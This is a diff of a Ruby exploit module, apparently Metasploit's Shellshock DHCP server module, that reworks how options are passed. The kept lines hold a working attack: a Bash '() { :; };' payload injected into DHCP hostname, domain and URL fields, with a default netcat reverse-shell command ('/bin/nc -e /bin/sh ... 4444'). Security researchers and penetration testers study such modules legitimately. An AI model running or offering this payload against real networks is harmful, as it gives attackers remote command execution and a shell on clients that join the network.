@@ -46,34 +46,28 @@ def initialize
46
46
47
47
register_options (
48
48
[
49
- OptString . new ( 'SRVHOST' , [ true , 'The IP of the DHCP server' ] ) ,
50
- OptString . new ( 'NETMASK' , [ true , 'The netmask of the local subnet' ] ) ,
51
- OptString . new ( 'DHCPIPSTART' , [ false , 'The first IP to give out' ] ) ,
52
- OptString . new ( 'DHCPIPEND' , [ false , 'The last IP to give out' ] ) ,
53
- OptString . new ( 'ROUTER' , [ false , 'The router IP address' ] ) ,
54
- OptString . new ( 'BROADCAST' , [ false , 'The broadcast address to send to' ] ) ,
55
- OptString . new ( 'DNSSERVER' , [ false , 'The DNS server IP address' ] ) ,
56
- # OptString.new('HOSTNAME', [ false, 'The optional hostname to assign' ]),
57
- OptString . new ( 'HOSTSTART' , [ false , 'The optional host integer counter' ] ) ,
58
- OptString . new ( 'FILENAME' , [ false , 'The optional filename of a tftp boot server' ] ) ,
59
49
OptString . new ( 'CMD' , [ true , 'The command to run' , '/bin/nc -e /bin/sh 127.0.0.1 4444' ] )
60
50
] , self . class )
51
+
52
+
53
+ deregister_options ( 'DOMAINNAME' , 'HOSTNAME' , 'URL' )
61
54
end
62
55
63
56
def run
64
57
value = "() { :; }; PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin #{ datastore [ 'CMD' ] } "
65
58
59
+ hash = datastore . copy
60
+ hash [ 'DOMAINNAME' ] = value
61
+ hash [ 'HOSTNAME' ] = value
62
+ hash [ 'URL' ] = value
63
+
66
64
# This loop is required because the current DHCP Server exits after the
67
65
# first interaction.
68
66
loop do
69
67
begin
70
- start_service ( {
71
- 'HOSTNAME' => value ,
72
- 'DOMAINNAME' => value ,
73
- 'URL' => value
74
- } . merge ( datastore ) )
68
+ start_service ( hash )
75
69
76
- while dhcp . thread . alive?
70
+ while @ dhcp. thread . alive?
77
71
select ( nil , nil , nil , 2 )
78
72
end
79
73
0 commit comments